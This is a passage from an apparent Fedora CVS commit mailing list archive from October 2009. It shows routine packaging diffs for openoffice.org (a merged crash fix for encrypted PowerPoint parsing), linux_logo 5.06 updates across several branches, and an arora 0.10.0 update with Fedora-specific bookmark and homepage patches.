+++ openoffice.org.spec	2 Oct 2009 10:16:17 -0000	1.2015
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 10
+%define rh_rpm_release 11
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -156,12 +156,11 @@ Patch79: openoffice.org-3.1.0.ooo104280.
 Patch80: openoffice.org-3.1.1.ooo104329.dbaccess.primarykeys.patch
 Patch81: workspace.os131.patch
 Patch82: workspace.vcl102.patch
-Patch83: openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
-Patch84: workspace.dr69.patch
-Patch85: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
-Patch86: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
-Patch87: workspace.aw073.patch
-Patch88: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
+Patch83: workspace.dr69.patch
+Patch84: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
+Patch85: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
+Patch86: workspace.aw073.patch
+Patch87: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1704,12 +1703,11 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch80 -p0 -b .ooo104329.dbaccess.primarykeys.patch
 %patch81 -p0 -b .workspace.os131.patch
 %patch82 -p0 -b .workspace.vcl102.patch
-%patch83 -p0 -b .ooo104157.svx.crashonencryptparse.patch
-%patch84 -p0 -b .workspace.dr69.patch
-%patch85 -p0 -b .ooo64671.canvas.add-support-for-font-pitch.patch
-%patch86 -p1 -b .oooXXXXXX.sal.justcoredump.patch
-%patch87 -p0 -b .workspace.aw073.patch
-%patch88 -p0 -b .ooo92671.vcl.coverageformat2.patch
+%patch83 -p0 -b .workspace.dr69.patch
+%patch84 -p0 -b .ooo64671.canvas.add-support-for-font-pitch.patch
+%patch85 -p1 -b .oooXXXXXX.sal.justcoredump.patch
+%patch86 -p0 -b .workspace.aw073.patch
+%patch87 -p0 -b .ooo92671.vcl.coverageformat2.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4243,6 +4241,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Fri Oct 02 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
+- merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
+  into accepted workspace
+
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)
 

workspace.impress169.patch:
 filter.vcl/wmf/enhwmf.cxx |   22 +++++++++++-----------
 svdraw/svdfppt.cxx        |    4 +++-
 ui/view/drtxtob1.cxx      |    4 ++++
 3 files changed, 18 insertions(+), 12 deletions(-)

Index: workspace.impress169.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/workspace.impress169.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- workspace.impress169.patch	20 Apr 2009 21:38:12 -0000	1.2
+++ workspace.impress169.patch	2 Oct 2009 10:16:17 -0000	1.3
@@ -114,3 +114,18 @@ diff -u -r1.39.114.1 enhwmf.cxx
  						}
  						delete[] pnPoints;
  					}
+--- svx.orig/source/svdraw/svdfppt.cxx	2009-08-27 17:13:39.000000000 +0100
++++ svx/source/svdraw/svdfppt.cxx	2009-08-27 17:13:43.000000000 +0100
+@@ -1429,9 +1429,11 @@
+     ePageColorsKind		( PPT_MASTERPAGE ),
+     eAktPageKind		( PPT_MASTERPAGE )
+ {
+-	DffRecordHeader* pHd;
++    if (rParam.aCurrentUserAtom.nMagic == 0xF3D1C4Df) //encrypted                                               ?
++        bOk = false;          
+     if ( bOk )
+ 	{
++	    DffRecordHeader* pHd;
+         rStCtrl.Seek( STREAM_SEEK_TO_END );
+         nStreamLen = rStCtrl.Tell();
+ 


--- openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch DELETED ---



From thias at fedoraproject.org  Fri Oct  2 10:30:13 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Fri,  2 Oct 2009 10:30:13 +0000 (UTC)
Subject: rpms/linux_logo/EL-4 .cvsignore, 1.5, 1.6 linux_logo.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091002103013.EA61811C048B@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/linux_logo/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14140/EL-4

Modified Files:
	.cvsignore linux_logo.spec sources 
Log Message:
Update to 5.06.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/EL-4/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	15 Mar 2007 17:34:05 -0000	1.5
+++ .cvsignore	2 Oct 2009 10:30:12 -0000	1.6
@@ -1 +1 @@
-linux_logo-4.16.tar.gz
+linux_logo-5.06.tar.gz


Index: linux_logo.spec
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/EL-4/linux_logo.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- linux_logo.spec	15 Mar 2007 17:34:05 -0000	1.7
+++ linux_logo.spec	2 Oct 2009 10:30:12 -0000	1.8
@@ -1,14 +1,14 @@
 Summary: The linux logo - a colorful console penguin logo
 Name: linux_logo
-Version: 4.16
+Version: 5.06
 Release: 1%{?dist}
-License: GPL
+License: GPLv2
 Group: Applications/System
 URL: http://www.deater.net/weave/vmwprod/linux_logo/
 Source: http://www.deater.net/weave/vmwprod/linux_logo/linux_logo-%{version}.tar.gz
-Patch: linux_logo-4.13-debug.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gettext
+BuildRequires: which
 
 %description
 Linux logo creates a colorful penguin logo on the console.
@@ -16,27 +16,21 @@ Linux logo creates a colorful penguin lo
 
 %prep
 %setup -q
-%patch -p1 -b .debug
 
 
 %build
+# Bundle all available logos
 for logo in ./logos/*.logo ./logos/*/*.logo; do
     echo "$logo" >> logo_config
 done
-# C_OPTS is used by linux_logo.c and C_FLAGS by libsysinfo
-%{__make} %{?_smp_mflags} \
-    C_OPTS="%{optflags} -I./\$(LIBSYSINFO)" \
-    C_FLAGS="%{optflags} -I.. -I. -I../include"
+# We still need to override CFLAGS later on, configure can't set them
+./configure --prefix=%{_prefix}
+%{__make} %{?_smp_mflags} CFLAGS="%{optflags}"
 
 
 %install
 %{__rm} -rf %{buildroot}
-
-%{__mkdir_p} %{buildroot}{%{_bindir},%{_mandir}/man1}
-%{__make} install \
-    INSTALL_BINPATH=%{buildroot}%{_bindir} \
-    INSTALL_MANPATH=%{buildroot}%{_mandir} \
-    INSTALLDIR=%{buildroot}%{_datadir}/locale
+%{__make} install PREFIX=%{buildroot}%{_prefix}
 %find_lang %{name}
 
 
@@ -45,13 +39,43 @@ done
 
 
 %files -f %{name}.lang
-%defattr(-, root, root, 0755)
-%doc CHANGES COPYING LINUX_LOGO.FAQ README* TODO USAGE
-%{_bindir}/%{name}
-%{_mandir}/man1/%{name}.1*
+%defattr(-,root,root,-)
+%doc CHANGES* COPYING LINUX_LOGO.FAQ README* TODO USAGE
+%{_bindir}/linux_logo
+%{_mandir}/man1/linux_logo.1*
 
 
 %changelog
+* Fri Oct 2 2009 Matthias Saou <http://freshrpms.net/> 5.06-1
+- Update to 5.06.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Fri Feb  6 2009 Matthias Saou <http://freshrpms.net/> 5.04-1
+- Update to 5.04.
+
+* Sun Feb  3 2008 Matthias Saou <http://freshrpms.net/> 5.03-1
+- Update to 5.03.
+
+* Mon Oct 22 2007 Matthias Saou <http://freshrpms.net/> 5.02-1
+- Update to 5.02.
+
+* Wed Aug 22 2007 Matthias Saou <http://freshrpms.net/> 5.01-3
+- Rebuild for new BuildID feature.
+
+* Sun Aug  5 2007 Matthias Saou <http://freshrpms.net/> 5.01-2
+- Update License field.
+
+* Tue Jul 24 2007 Matthias Saou <http://freshrpms.net/> 5.01-1
+- Update to 5.01.
+- Remove no longer needed strip patch.
+- Clean up build/install based on the upstream improvements.
+- Add "which" build requirement, the custom configure script uses it.
+
 * Thu Mar 15 2007 Matthias Saou <http://freshrpms.net/> 4.16-1
 - Update to 4.16.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/EL-4/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	15 Mar 2007 17:34:05 -0000	1.5
+++ sources	2 Oct 2009 10:30:12 -0000	1.6
@@ -1 +1 @@
-854429725a1ec35d93cde575ae173efe  linux_logo-4.16.tar.gz
+31014ac5a1660926ae16b88399f4233d  linux_logo-5.06.tar.gz



From thias at fedoraproject.org  Fri Oct  2 10:30:13 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Fri,  2 Oct 2009 10:30:13 +0000 (UTC)
Subject: rpms/linux_logo/EL-5 .cvsignore, 1.8, 1.9 linux_logo.spec, 1.14,
	1.15 sources, 1.8, 1.9
Message-ID: <20091002103013.EEE0811C04C0@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/linux_logo/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14140/EL-5

Modified Files:
	.cvsignore linux_logo.spec sources 
Log Message:
Update to 5.06.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/EL-5/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	15 Mar 2007 17:34:08 -0000	1.8
+++ .cvsignore	2 Oct 2009 10:30:13 -0000	1.9
@@ -1 +1 @@
-linux_logo-4.16.tar.gz
+linux_logo-5.06.tar.gz


Index: linux_logo.spec
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/EL-5/linux_logo.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- linux_logo.spec	15 Mar 2007 17:34:08 -0000	1.14
+++ linux_logo.spec	2 Oct 2009 10:30:13 -0000	1.15
@@ -1,14 +1,14 @@
 Summary: The linux logo - a colorful console penguin logo
 Name: linux_logo
-Version: 4.16
+Version: 5.06
 Release: 1%{?dist}
-License: GPL
+License: GPLv2
 Group: Applications/System
 URL: http://www.deater.net/weave/vmwprod/linux_logo/
 Source: http://www.deater.net/weave/vmwprod/linux_logo/linux_logo-%{version}.tar.gz
-Patch: linux_logo-4.13-debug.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gettext
+BuildRequires: which
 
 %description
 Linux logo creates a colorful penguin logo on the console.
@@ -16,27 +16,21 @@ Linux logo creates a colorful penguin lo
 
 %prep
 %setup -q
-%patch -p1 -b .debug
 
 
 %build
+# Bundle all available logos
 for logo in ./logos/*.logo ./logos/*/*.logo; do
     echo "$logo" >> logo_config
 done
-# C_OPTS is used by linux_logo.c and C_FLAGS by libsysinfo
-%{__make} %{?_smp_mflags} \
-    C_OPTS="%{optflags} -I./\$(LIBSYSINFO)" \
-    C_FLAGS="%{optflags} -I.. -I. -I../include"
+# We still need to override CFLAGS later on, configure can't set them
+./configure --prefix=%{_prefix}
+%{__make} %{?_smp_mflags} CFLAGS="%{optflags}"
 
 
 %install
 %{__rm} -rf %{buildroot}
-
-%{__mkdir_p} %{buildroot}{%{_bindir},%{_mandir}/man1}
-%{__make} install \
-    INSTALL_BINPATH=%{buildroot}%{_bindir} \
-    INSTALL_MANPATH=%{buildroot}%{_mandir} \
-    INSTALLDIR=%{buildroot}%{_datadir}/locale
+%{__make} install PREFIX=%{buildroot}%{_prefix}
 %find_lang %{name}
 
 
@@ -45,13 +39,43 @@ done
 
 
 %files -f %{name}.lang
-%defattr(-, root, root, 0755)
-%doc CHANGES COPYING LINUX_LOGO.FAQ README* TODO USAGE
-%{_bindir}/%{name}
-%{_mandir}/man1/%{name}.1*
+%defattr(-,root,root,-)
+%doc CHANGES* COPYING LINUX_LOGO.FAQ README* TODO USAGE
+%{_bindir}/linux_logo
+%{_mandir}/man1/linux_logo.1*
 
 
 %changelog
+* Fri Oct 2 2009 Matthias Saou <http://freshrpms.net/> 5.06-1
+- Update to 5.06.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Fri Feb  6 2009 Matthias Saou <http://freshrpms.net/> 5.04-1
+- Update to 5.04.
+
+* Sun Feb  3 2008 Matthias Saou <http://freshrpms.net/> 5.03-1
+- Update to 5.03.
+
+* Mon Oct 22 2007 Matthias Saou <http://freshrpms.net/> 5.02-1
+- Update to 5.02.
+
+* Wed Aug 22 2007 Matthias Saou <http://freshrpms.net/> 5.01-3
+- Rebuild for new BuildID feature.
+
+* Sun Aug  5 2007 Matthias Saou <http://freshrpms.net/> 5.01-2
+- Update License field.
+
+* Tue Jul 24 2007 Matthias Saou <http://freshrpms.net/> 5.01-1
+- Update to 5.01.
+- Remove no longer needed strip patch.
+- Clean up build/install based on the upstream improvements.
+- Add "which" build requirement, the custom configure script uses it.
+
 * Thu Mar 15 2007 Matthias Saou <http://freshrpms.net/> 4.16-1
 - Update to 4.16.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/EL-5/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	15 Mar 2007 17:34:08 -0000	1.8
+++ sources	2 Oct 2009 10:30:13 -0000	1.9
@@ -1 +1 @@
-854429725a1ec35d93cde575ae173efe  linux_logo-4.16.tar.gz
+31014ac5a1660926ae16b88399f4233d  linux_logo-5.06.tar.gz



From thias at fedoraproject.org  Fri Oct  2 10:30:14 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Fri,  2 Oct 2009 10:30:14 +0000 (UTC)
Subject: rpms/linux_logo/F-11 .cvsignore, 1.12, 1.13 linux_logo.spec, 1.21, 
	1.22 sources, 1.12, 1.13
Message-ID: <20091002103014.7AB2A11C048B@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/linux_logo/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14140/F-11

Modified Files:
	.cvsignore linux_logo.spec sources 
Log Message:
Update to 5.06.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	6 Feb 2009 09:39:55 -0000	1.12
+++ .cvsignore	2 Oct 2009 10:30:14 -0000	1.13
@@ -1 +1 @@
-linux_logo-5.04.tar.gz
+linux_logo-5.06.tar.gz


Index: linux_logo.spec
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/F-11/linux_logo.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- linux_logo.spec	25 Feb 2009 20:33:40 -0000	1.21
+++ linux_logo.spec	2 Oct 2009 10:30:14 -0000	1.22
@@ -1,7 +1,7 @@
 Summary: The linux logo - a colorful console penguin logo
 Name: linux_logo
-Version: 5.04
-Release: 2%{?dist}
+Version: 5.06
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: http://www.deater.net/weave/vmwprod/linux_logo/
@@ -46,6 +46,12 @@ done
 
 
 %changelog
+* Fri Oct 2 2009 Matthias Saou <http://freshrpms.net/> 5.06-1
+- Update to 5.06.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	6 Feb 2009 09:39:55 -0000	1.12
+++ sources	2 Oct 2009 10:30:14 -0000	1.13
@@ -1 +1 @@
-c7857d465b2157959cb1fcf1abebe396  linux_logo-5.04.tar.gz
+31014ac5a1660926ae16b88399f4233d  linux_logo-5.06.tar.gz



From thias at fedoraproject.org  Fri Oct  2 10:30:14 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Fri,  2 Oct 2009 10:30:14 +0000 (UTC)
Subject: rpms/linux_logo/F-10 .cvsignore, 1.11, 1.12 linux_logo.spec, 1.19, 
	1.20 sources, 1.11, 1.12
Message-ID: <20091002103014.202A811C04F4@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/linux_logo/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14140/F-10

Modified Files:
	.cvsignore linux_logo.spec sources 
Log Message:
Update to 5.06.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	3 Feb 2008 13:47:54 -0000	1.11
+++ .cvsignore	2 Oct 2009 10:30:13 -0000	1.12
@@ -1 +1 @@
-linux_logo-5.03.tar.gz
+linux_logo-5.06.tar.gz


Index: linux_logo.spec
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/F-10/linux_logo.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- linux_logo.spec	3 Feb 2008 13:47:54 -0000	1.19
+++ linux_logo.spec	2 Oct 2009 10:30:13 -0000	1.20
@@ -1,6 +1,6 @@
 Summary: The linux logo - a colorful console penguin logo
 Name: linux_logo
-Version: 5.03
+Version: 5.06
 Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
@@ -46,6 +46,18 @@ done
 
 
 %changelog
+* Fri Oct 2 2009 Matthias Saou <http://freshrpms.net/> 5.06-1
+- Update to 5.06.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Fri Feb  6 2009 Matthias Saou <http://freshrpms.net/> 5.04-1
+- Update to 5.04.
+
 * Sun Feb  3 2008 Matthias Saou <http://freshrpms.net/> 5.03-1
 - Update to 5.03.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	3 Feb 2008 13:47:54 -0000	1.11
+++ sources	2 Oct 2009 10:30:13 -0000	1.12
@@ -1 +1 @@
-187a21ef6375e1bacf550ed84ebb7279  linux_logo-5.03.tar.gz
+31014ac5a1660926ae16b88399f4233d  linux_logo-5.06.tar.gz



From jreznik at fedoraproject.org  Fri Oct  2 10:31:14 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 10:31:14 +0000 (UTC)
Subject: rpms/arora/F-10 arora-0.10.0-fedorabookmarks.patch, NONE,
	1.1 arora-0.10.0-fedorahome.patch, NONE,
	1.1 arora-0.10.0-gitversion.patch, NONE, 1.1 arora.spec, 1.13,
	1.14 sources, 1.9, 1.10 arora-0.8.0-fedorahome.patch, 1.1,
	NONE arora-0.9.0-fedorabookmarks.patch, 1.1,
	NONE arora-0.9.0-gitversion.patch, 1.1, NONE
Message-ID: <20091002103114.84F0C11C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15230

Modified Files:
	arora.spec sources 
Added Files:
	arora-0.10.0-fedorabookmarks.patch 
	arora-0.10.0-fedorahome.patch arora-0.10.0-gitversion.patch 
Removed Files:
	arora-0.8.0-fedorahome.patch arora-0.9.0-fedorabookmarks.patch 
	arora-0.9.0-gitversion.patch 
Log Message:
* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
- Fedorahome patch rebased

* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
- Update to 0.10.0

* Sun Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.9.0-2
- add icon/mime scriptlets
- don't own %%{_mandir}/man1
- BR: qt4-devel


arora-0.10.0-fedorabookmarks.patch:
 defaultbookmarks.xbel |   39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

--- NEW FILE arora-0.10.0-fedorabookmarks.patch ---
diff -up arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks arora-0.10.0/src/data/defaultbookmarks.xbel
--- arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/data/defaultbookmarks.xbel	2009-10-02 09:52:11.805729976 +0200
@@ -7,6 +7,45 @@
             <title>Arora</title>
         </bookmark>
     </folder>
+            <folder folded="no">
+            <title>Fedora Project</title>
+            <bookmark href="http://fedoraproject.org/">
+                <title>Fedora Project</title>
+            </bookmark>
+            <bookmark href="http://docs.fedoraproject.org/release-notes/">
+                <title>Release Notes</title>
+            </bookmark>
+            <bookmark href="http://forums.fedoraforum.org/">
+                <title>Fedora Forum</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/FWN">
+                <title>Fedora Weekly News</title>
+            </bookmark>
+            <bookmark href="http://www.fedoraunity.org/">
+                <title>Fedora Unity Project</title>
+            </bookmark>
+            <bookmark href="http://planet.fedoraproject.org/">
+                <title>Planet Fedora</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/Communicate">
+                <title>Communicate</title>
+            </bookmark>
+        </folder>
+        <folder folded="no">
+            <title>Red Hat</title>
+            <bookmark href="http://www.redhatmagazine.com/">
+                <title>Red Hat Magazine</title>
+            </bookmark>
+            <bookmark href="http://mugshot.org/main">
+                <title>Mugshot</title>
+            </bookmark>
+            <bookmark href="http://www.redhat.com/">
+                <title>Red Hat</title>
+            </bookmark>
+            <bookmark href="http://www.jboss.com/">
+                <title>JBoss</title>
+            </bookmark>
+        </folder>
     <folder folded="yes">
         <title>Bookmarks Menu</title>
     </folder>

arora-0.10.0-fedorahome.patch:
 browsermainwindow.cpp |    2 +-
 settings.cpp          |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE arora-0.10.0-fedorahome.patch ---
diff -up arora-0.10.0/src/browsermainwindow.cpp.fedorahome arora-0.10.0/src/browsermainwindow.cpp
--- arora-0.10.0/src/browsermainwindow.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/browsermainwindow.cpp	2009-10-02 09:52:59.515856829 +0200
@@ -1373,7 +1373,7 @@ void BrowserMainWindow::goHome()
 {
     QSettings settings;
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString home = settings.value(QLatin1String("home"), QLatin1String("about:home")).toString();
+    QString home = settings.value(QLatin1String("home"), QLatin1String("http://start.fedoraproject.org/")).toString();
     tabWidget()->loadString(home);
 }
 
diff -up arora-0.10.0/src/settings.cpp.fedorahome arora-0.10.0/src/settings.cpp
--- arora-0.10.0/src/settings.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/settings.cpp	2009-10-02 09:52:59.518856379 +0200
@@ -143,7 +143,7 @@ void SettingsDialog::loadFromSettings()
     settings.endGroup();
 
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString defaultHome = QLatin1String("about:home");
+    QString defaultHome = QLatin1String("http://start.fedoraproject.org/");
     homeLineEdit->setText(settings.value(QLatin1String("home"), defaultHome).toString());
     startupBehavior->setCurrentIndex(settings.value(QLatin1String("startupBehavior"), 0).toInt());
     settings.endGroup();

arora-0.10.0-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.0-gitversion.patch ---
diff -up arora-0.10.0/src/src.pri.gitversion arora-0.10.0/src/src.pri
--- arora-0.10.0/src/src.pri.gitversion	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/src.pri	2009-10-02 09:15:43.230739247 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"c65c20c\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1161\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-10/arora.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- arora.spec	31 Aug 2009 11:58:32 -0000	1.13
+++ arora.spec	2 Oct 2009 10:31:14 -0000	1.14
@@ -1,19 +1,19 @@
 Name:           arora
-Version:        0.9.0
-Release:        1%{?dist}
+Version:        0.10.0
+Release:        2%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.9.0-gitversion.patch
-Patch1:         arora-0.9.0-fedorabookmarks.patch
-Patch2:         arora-0.8.0-fedorahome.patch
+Patch0:         arora-0.10.0-gitversion.patch
+Patch1:         arora-0.10.0-fedorabookmarks.patch
+Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
-BuildRequires:  qt-devel >= 4.4.0
+BuildRequires:  qt4-devel >= 4.4.0
 # for gnome default app path
 BuildRequires:  control-center-devel
 
@@ -28,7 +28,7 @@ browsing and other common features such 
 Summary:        Better Gnome support for Arora
 Group:          Applications/Internet
 Requires:       control-center
-Requires:       arora
+Requires:       arora 
 
 %description gnome
 Adds Arora to Preferred Applications list in Gnome Control Center.
@@ -48,6 +48,8 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make INSTALL_ROOT=$RPM_BUILD_ROOT install 
 
+# imo, shouldn't add/change upstream vendor here, but changing
+# once released this way is bad too. :(  -- Rex
 desktop-file-install --vendor fedora \
       --dir $RPM_BUILD_ROOT%{_datadir}/applications\
       --delete-original\
@@ -57,6 +59,22 @@ desktop-file-install --vendor fedora \
 %clean
 rm -rf $RPM_BUILD_ROOT
 
+
+%post
+touch --no-create %{_datadir}/icons/hicolor &> /dev/null || :
+
+%postun
+if [ $1 -eq 0 ] ; then
+  update-desktop-database -q &> /dev/null
+  touch --no-create %{_datadir}/icons/hicolor &> /dev/null
+  gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null || :
+fi
+
+%posttrans
+update-desktop-database -q &> /dev/null
+gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null || :
+
+
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS README ChangeLog
@@ -70,16 +88,27 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/16x16/apps/arora.png
 %{_datadir}/icons/hicolor/32x32/apps/arora.png
 %{_datadir}/icons/hicolor/scalable/apps/arora.svg
-%{_datadir}/arora
+%{_datadir}/arora/
 %{_datadir}/pixmaps/arora.xpm
-%{_datadir}/man/man1
+%{_mandir}/man1/*
 
 %files gnome
 %defattr(-,root,root,-)
-%{_datadir}/gnome-control-center/default-apps
+%{_datadir}/gnome-control-center/default-apps/
 
 
 %changelog
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
+- Fedorahome patch rebased
+
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
+- Update to 0.10.0
+
+* Sun Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.9.0-2
+- add icon/mime scriptlets
+- don't own %%{_mandir}/man1
+- BR: qt4-devel
+
